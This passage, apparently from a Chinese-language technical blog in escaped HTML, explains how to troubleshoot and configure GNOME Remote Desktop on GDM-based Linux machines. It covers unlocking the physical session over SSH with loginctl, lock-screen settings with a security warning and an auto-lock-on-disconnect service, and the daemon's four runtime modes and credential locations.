[ERROR][com.freerdp.core.peer] - ERRINFO_RPC_INITIATED_DISCONNECT [0x00010001]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;检查会话状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;loginctl show-session 803 | grep LockedHint
# LockedHint=yes

dbus-send --session --dest=org.gnome.ScreenSaver --print-reply \
  &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;ScreenSaver org.gnome.ScreenSaver.GetActive
# boolean true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;根因：物理会话锁屏了&lt;&#x2F;strong&gt;（机器闲置一周多）。GNOME Remote Desktop 在会话锁定时拒绝创建远程桌面会话。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;意外发现：SSH 远程登录可以直接解锁物理会话&lt;&#x2F;strong&gt;（同用户间 polkit 信任）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 找到物理会话的 ID
loginctl list-sessions
# SESSION  UID USER       SEAT  LEADER CLASS   TTY  IDLE SINCE
#     803 1000 peter      seat0 38320  user    tty2 yes  1 week ago
#       3 1000 peter      -     2373   user    -    no   -
#       4 1000 peter      -     2393   manager -    no   -
#     c3  110 Debian-gdm -     158722 greeter -    no   -

# 物理会话的特征：有 SEAT（seat0）、有 TTY（tty2）、CLASS=user
# SSH 等远程会话：SEAT 为 -、CLASS=user、TTY 为 -
# GDM greeter：CLASS=greeter

# 精准定位当前登录桌面的会话 ID：
loginctl list-sessions --no-legend | awk &amp;#x27;$4 == &amp;quot;seat0&amp;quot; {print $1}&amp;#x27;
# → 803

# 解锁
loginctl unlock-session 803
# LockedHint=no
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;如何区分会话 ID：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;物理桌面会话&lt;&#x2F;strong&gt;：&lt;code&gt;SEAT=seat0&lt;&#x2F;code&gt;、&lt;code&gt;TTY=tty2&lt;&#x2F;code&gt;、&lt;code&gt;CLASS=user&lt;&#x2F;code&gt;。这就是你要解锁的目标&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SSH 远程会话&lt;&#x2F;strong&gt;：&lt;code&gt;SEAT=-&lt;&#x2F;code&gt;、&lt;code&gt;TTY=-&lt;&#x2F;code&gt;。不算物理会话，不需要也不能用来解锁&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;GDM greeter&lt;&#x2F;strong&gt;：&lt;code&gt;CLASS=greeter&lt;&#x2F;code&gt;、&lt;code&gt;Remote=yes&lt;&#x2F;code&gt;。系统守护进程为 RDP 连接创建的登录界面&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;无需物理接触。防止复锁：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 禁止锁屏（注销&amp;#x2F;锁屏后 RDP 无法进入）
gsettings set org.gnome.desktop.screensaver lock-enabled false
# 禁止屏保空闲时自动激活（避免再次锁屏）
gsettings set org.gnome.desktop.screensaver idle-activation-enabled false
# 屏保&amp;#x2F;锁屏的空闲触发时间设为 0（永不超时）
gsettings set org.gnome.desktop.session idle-delay 0
# 接电源时永不自挂起
gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-ac-type &amp;#x27;nothing&amp;#x27;
# 用电池时也永不自挂起
gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-battery-type &amp;#x27;nothing&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;安全警告：这些设置会让物理控制台一直处于已登录状态。RDP 断开后，任何能接触到物理机器的人都能直接操作桌面。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;也可以写一个 systemd 服务，在 RDP 会话断开时自动锁定（见下文「自动化」）。用&lt;strong&gt;系统级&lt;&#x2F;strong&gt;（远程登录&#x2F;GDM greeter）天然没有这个问题——注销后回到登录界面。只用&lt;strong&gt;用户级&lt;&#x2F;strong&gt;（桌面共享）才有这个风险。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-6-headless-mo-shi-qu-she&quot;&gt;Step 6：headless 模式取舍&lt;&#x2F;h4&gt;
&lt;p&gt;机器 B 初始以 &lt;code&gt;--headless&lt;&#x2F;code&gt; 模式运行（有 drop-in 配置文件）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;# ~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;gnome-remote-desktop.service.d&amp;#x2F;headless.conf
[Service]
Type=simple
ExecStart=
ExecStart=&amp;#x2F;usr&amp;#x2F;libexec&amp;#x2F;gnome-remote-desktop-daemon --headless
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 headless 模式下仍然出现 &lt;code&gt;Session creation inhibited&lt;&#x2F;code&gt;。去掉 &lt;code&gt;--headless&lt;&#x2F;code&gt; 后，守护进程直接共享已有 Wayland 会话，配合解锁，连接成功。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ji-qi-b-zui-zhong-fang-an&quot;&gt;机器 B 最终方案&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;方案演进（2026-08-11）&lt;&#x2F;strong&gt;：下文「用户级非 headless 独占 3389」是当时（8月5-6日）的临时方案——它依赖 keyring 里有凭证 + 物理会话可镜像，两个条件都脆弱。后来通过源码确认 SCREEN_SHARE 模式凭证只读 keyring（credentials.ini 无效），并实测 &lt;strong&gt;&lt;code&gt;--headless&lt;&#x2F;code&gt; 模式&lt;&#x2F;strong&gt;（凭证走 credentials.ini + 自建虚拟屏）是远程无 GUI 环境下最可靠的用户级方案。新机器推荐直接上「4 种运行模式」章节的 douhao 修复后组合（--system + --headless + --handover），本文方案仅作历史记录。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;停掉系统守护进程，用户守护进程&lt;strong&gt;非 headless&lt;&#x2F;strong&gt; 独占 3389：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 停系统守护进程
sudo systemctl stop gnome-remote-desktop.service
sudo systemctl disable gnome-remote-desktop.service

# 去 headless
rm ~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;gnome-remote-desktop.service.d&amp;#x2F;headless.conf
systemctl --user daemon-reload

# 确保凭证正确
vim ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;credentials.ini

# 重启
systemctl --user restart gnome-remote-desktop.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;客户端直连 &lt;strong&gt;3389&lt;&#x2F;strong&gt;，直接看到已有桌面，不经过 GDM 登录界面。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ri-chang-shi-yong-liu-cheng-ssh-jie-suo-rdp-shi-yong-zhu-dong-suo-ping&quot;&gt;日常使用流程：SSH 解锁 → RDP 使用 → 主动锁屏&lt;&#x2F;h3&gt;
&lt;p&gt;用&lt;strong&gt;用户级桌面共享&lt;&#x2F;strong&gt;时，每次使用 RDP 的完整流程：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1. SSH 登录，检查会话状态&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看所有会话
loginctl list-sessions

# 查看物理会话的锁定和空闲状态
loginctl show-session &amp;lt;ID&amp;gt; | grep -E &amp;quot;LockedHint|IdleHint|State|Type&amp;quot;
# LockedHint=yes   → 已锁定，需要解锁
# IdleHint=yes     → 空闲中（可能锁屏了）
# State=active     → 会话在运行

# 一行命令判断是否需要解锁
loginctl show-session $(loginctl list-sessions --no-legend | awk &amp;#x27;$4==&amp;quot;seat0&amp;quot;{print $1}&amp;#x27;) \
  2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | grep &amp;quot;LockedHint=yes&amp;quot; &amp;amp;&amp;amp; echo &amp;quot;需要解锁&amp;quot; || echo &amp;quot;已解锁&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;会话状态组合：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;LockedHint&lt;&#x2F;th&gt;&lt;th&gt;IdleHint&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;th&gt;动作&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;已锁屏且空闲&lt;&#x2F;td&gt;&lt;td&gt;需要解锁&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;no&lt;&#x2F;td&gt;&lt;td&gt;已手动锁定&lt;&#x2F;td&gt;&lt;td&gt;需要解锁&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;no&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;已解锁但空闲（屏保无密码）&lt;&#x2F;td&gt;&lt;td&gt;可直接连&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;no&lt;&#x2F;td&gt;&lt;td&gt;no&lt;&#x2F;td&gt;&lt;td&gt;已解锁且活跃&lt;&#x2F;td&gt;&lt;td&gt;可直接连&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;2. 解锁物理会话&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;SESSION_ID=$(loginctl list-sessions --no-legend | awk &amp;#x27;$4==&amp;quot;seat0&amp;quot;{print $1}&amp;#x27;)
loginctl unlock-session &amp;quot;$SESSION_ID&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3. RDP 连接&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;用 Remmina &#x2F; mstsc 连 &lt;code&gt;主机:3389&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4. 使用完毕后，主动锁屏&lt;&#x2F;strong&gt;（重要！）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;loginctl lock-session &amp;quot;$SESSION_ID&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不锁的话物理控制台会一直处于已登录状态，任何能碰到机器的人都能操作。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;自动化：RDP 断开时自动锁屏&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;监听用户守护进程日志中的断连事件，触发自动锁定：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 方式一：systemd path unit 监听 + shell 脚本
# ~&amp;#x2F;.local&amp;#x2F;bin&amp;#x2F;rdp-lock-on-disconnect.sh
#!&amp;#x2F;bin&amp;#x2F;bash
SESSION_ID=$(loginctl list-sessions --no-legend | awk &amp;#x27;$4==&amp;quot;seat0&amp;quot;{print $1}&amp;#x27;)
journalctl --user -u gnome-remote-desktop.service -f --no-pager | while read line; do
    if echo &amp;quot;$line&amp;quot; | grep -q &amp;quot;Network or intentional disconnect&amp;quot;; then
        loginctl lock-session &amp;quot;$SESSION_ID&amp;quot;
    fi
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;# ~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;rdp-auto-lock.service
[Unit]
Description=Auto-lock session on RDP disconnect
After=gnome-remote-desktop.service

[Service]
ExecStart=%h&amp;#x2F;.local&amp;#x2F;bin&amp;#x2F;rdp-lock-on-disconnect.sh
Restart=on-failure

[Install]
WantedBy=default.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;chmod +x ~&amp;#x2F;.local&amp;#x2F;bin&amp;#x2F;rdp-lock-on-disconnect.sh
systemctl --user daemon-reload
systemctl --user enable --now rdp-auto-lock.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;5. 可选：事后恢复锁屏策略&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果之前为了 RDP 禁用了自动锁屏，可以在断开后恢复：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set org.gnome.desktop.screensaver lock-enabled true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者写进上述自动脚本，RDP 断开时一起执行。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;yuan-cheng-deng-lu-jia-gou-yu-hui-hua-ji-zhi-gnome-45-gdm-douhao-shi-ce&quot;&gt;远程登录架构与会话机制（GNOME 45+ &#x2F; GDM，douhao 实测）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;grd-de-4-chong-yun-xing-mo-shi-2026-08-11-hui-zong-yuan-ma-grd-daemon-c-que-ren&quot;&gt;grd 的 4 种运行模式（2026-08-11 汇总，源码 grd-daemon.c 确认）&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;gnome-remote-desktop 只有一个二进制 &lt;code&gt;gnome-remote-desktop-daemon&lt;&#x2F;code&gt;，4 种运行模式由启动参数决定，互斥&lt;&#x2F;strong&gt;（&lt;code&gt;count_trues(3, headless, system, handover) &amp;gt; 1&lt;&#x2F;code&gt; 时直接报 &lt;code&gt;Invalid option: More than one runtime mode specified&lt;&#x2F;code&gt; 退出）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;运行模式&lt;&#x2F;th&gt;&lt;th&gt;daemon 类&lt;&#x2F;th&gt;&lt;th&gt;角色&lt;&#x2F;th&gt;&lt;th&gt;端口&lt;&#x2F;th&gt;&lt;th&gt;凭证来源&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;无参数&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;SCREEN_SHARE&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;用户级 &lt;code&gt;grd_daemon_user_new&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;共享现有桌面（录制已有画面）&lt;&#x2F;td&gt;&lt;td&gt;3389（可避让）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;只读 keyring&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;--headless&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;HEADLESS&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;用户级 &lt;code&gt;grd_daemon_user_new&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无头共享（自建虚拟显示器，不依赖物理屏）&lt;&#x2F;td&gt;&lt;td&gt;3389（可避让）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;读 credentials.ini&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;--system&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;SYSTEM&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;系统级 &lt;code&gt;grd_daemon_system_new&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;GDM 远程登录（登录界面 → handover）&lt;&#x2F;td&gt;&lt;td&gt;3389&lt;&#x2F;td&gt;&lt;td&gt;设置读 grd.conf；凭证走 GKeyFile &lt;code&gt;credentials.ini&lt;&#x2F;code&gt;（见下方更正）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;--handover&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;HANDOVER&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;用户级 &lt;code&gt;grd_daemon_handover_new&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;登录接管（等 --system 移交连接）&lt;&#x2F;td&gt;&lt;td&gt;不监听&lt;&#x2F;td&gt;&lt;td&gt;one-time（system 传）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;凭证位置更正（2026-09-11，grd 48.1 源码核实）&lt;&#x2F;strong&gt;：&lt;code&gt;--system&lt;&#x2F;code&gt; 的凭证不在 grd.conf，而是和 &lt;code&gt;--headless&lt;&#x2F;code&gt; 一样走 GKeyFile 后端（无 TPM 时），位于运行用户 &lt;code&gt;gnome-remote-desktop&lt;&#x2F;code&gt; 的数据目录：&lt;code&gt;&#x2F;var&#x2F;lib&#x2F;gnome-remote-desktop&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;credentials.ini&lt;&#x2F;code&gt;（&lt;code&gt;grd-settings.c&lt;&#x2F;code&gt; 的 &lt;code&gt;create_credentials()&lt;&#x2F;code&gt; 里 &lt;code&gt;SYSTEM&lt;&#x2F;code&gt; 与 &lt;code&gt;HEADLESS&lt;&#x2F;code&gt; 共用 &lt;code&gt;create_headless_credentials()&lt;&#x2F;code&gt;）。grd.conf 只存 enabled&#x2F;tls-cert 等设置。「写入后运行中的 daemon 不重载、需重启」的行为不变（文件在内存中缓存）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;对应 4 个 systemd unit&lt;&#x2F;strong&gt;（归属固定，不能混用）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;unit&lt;&#x2F;th&gt;&lt;th&gt;归属&lt;&#x2F;th&gt;&lt;th&gt;运行用户&lt;&#x2F;th&gt;&lt;th&gt;ExecStart&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;gnome-remote-desktop.service&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;system&lt;&#x2F;strong&gt;（&lt;code&gt;sudo systemctl&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;gnome-remote-desktop&lt;&#x2F;code&gt; 用户&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;--system&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;gnome-remote-desktop.service&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;user&lt;&#x2F;strong&gt;（&lt;code&gt;systemctl --user&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;当前用户&lt;&#x2F;td&gt;&lt;td&gt;（无参数）SCREEN_SHARE&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;gnome-remote-desktop-headless.service&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;user&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;当前用户&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;--headless&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;gnome-remote-desktop-handover.service&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;user&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;当前用户&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;--handover&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;常见疑问（已实测）&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;每个服务都支持 sudo &#x2F; --user 启动吗？&lt;&#x2F;strong&gt; 不行，归属是固定的：&lt;code&gt;--system&lt;&#x2F;code&gt; 只作为系统服务（&lt;code&gt;sudo systemctl&lt;&#x2F;code&gt;）跑；其余三个只作为用户服务（&lt;code&gt;systemctl --user&lt;&#x2F;code&gt;）跑。反过来用会因 bus 名&#x2F;权限不匹配而失败。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;--headless&lt;&#x2F;code&gt; 和 &lt;code&gt;--system&lt;&#x2F;code&gt; 能同时设置吗？&lt;&#x2F;strong&gt; &lt;strong&gt;不能&lt;&#x2F;strong&gt;，互斥——同时给直接退出报 &lt;code&gt;Invalid option: More than one runtime mode specified&lt;&#x2F;code&gt;（实测确认）。&lt;code&gt;--handover&lt;&#x2F;code&gt; 与另外两个也同样互斥。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;--headless&lt;&#x2F;code&gt; 和 &lt;code&gt;--system&lt;&#x2F;code&gt; 的关系&lt;&#x2F;strong&gt;：&lt;code&gt;--system&lt;&#x2F;code&gt; 的官方帮助文案就是 &quot;Run in headless mode as a system g-r-d service&quot;——它本质也是 headless（无物理屏的 GDM 登录界面），只是以系统用户跑、角色是登录。两者是&lt;strong&gt;不同角色&lt;&#x2F;strong&gt;（登录 vs 共享）而不是同角色的两个变体。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;端口冲突&lt;&#x2F;strong&gt;：SCREEN_SHARE 和 HEADLESS 都是用户级、默认都想绑 3389。&lt;code&gt;--system&lt;&#x2F;code&gt; 占用 3389 时，用户级自动避让到 3390（&lt;code&gt;negotiate-port&lt;&#x2F;code&gt;）。两个用户级（SCREEN_SHARE + HEADLESS）&lt;strong&gt;不能同时跑&lt;&#x2F;strong&gt;（抢同一端口），unit 里 &lt;code&gt;Conflicts=gnome-remote-desktop.service&lt;&#x2F;code&gt; 保证互斥。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;&quot;远程登录&quot;和&quot;桌面共享&quot;不是并列的两种服务，而是流程的两段&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;远程登录（--system, 3389）→ 看到 GDM 登录界面 → 输密码 → handover（--handover）→ 进入你的桌面
桌面共享（无参数 或 --headless, 3390）→ 直接看到你的桌面画面（不需要经过登录界面）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;本博客各次配置实际用的模式对照&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;配置场景&lt;&#x2F;th&gt;&lt;th&gt;--system&lt;&#x2F;th&gt;&lt;th&gt;无参数&lt;&#x2F;th&gt;&lt;th&gt;--headless&lt;&#x2F;th&gt;&lt;th&gt;--handover&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;机器 A 方案 A1（推荐）&lt;&#x2F;td&gt;&lt;td&gt;✅ 3389&lt;&#x2F;td&gt;&lt;td&gt;✅ 3390&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;标准双守护进程&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;机器 B 初始（headless 试错）&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;✅ 3389&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;遇到 Session inhibited&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;机器 B 最终方案（用户级独占）&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;✅ 3389&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;共享 803 物理会话&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;douhao（正常参照）&lt;&#x2F;td&gt;&lt;td&gt;✅ 3389&lt;&#x2F;td&gt;&lt;td&gt;✅ 3390&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;一直正常&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;dev 当前（修复后）&lt;&#x2F;td&gt;&lt;td&gt;✅ 3389&lt;&#x2F;td&gt;&lt;td&gt;✅ 3390&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;白屏修复后&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;douhao 修复后（本次）&lt;&#x2F;td&gt;&lt;td&gt;✅ 3389&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;✅ 3390&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;绕开 keyring 死结&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;douhao 现状（2026-09-11）&lt;&#x2F;td&gt;&lt;td&gt;✅ 3389&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;✅ 3390 SCREEN_SHARE&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;改回共享物理桌面（mirror-primary），见下方更新&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;为什么 douhao 修复后改用 &lt;code&gt;--headless&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：SCREEN_SHARE 模式的凭证只从 keyring 读，而 keyring 在无显示环境（SSH）锁定&#x2F;创建时必然挂起——3390 永远 &lt;code&gt;Credentials are not set&lt;&#x2F;code&gt;。&lt;code&gt;--headless&lt;&#x2F;code&gt; 模式读 credentials.ini，完全不碰 keyring，是远程无 GUI 环境下唯一可靠的 3390 路径（实测 3390 认证通过、画面正常）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
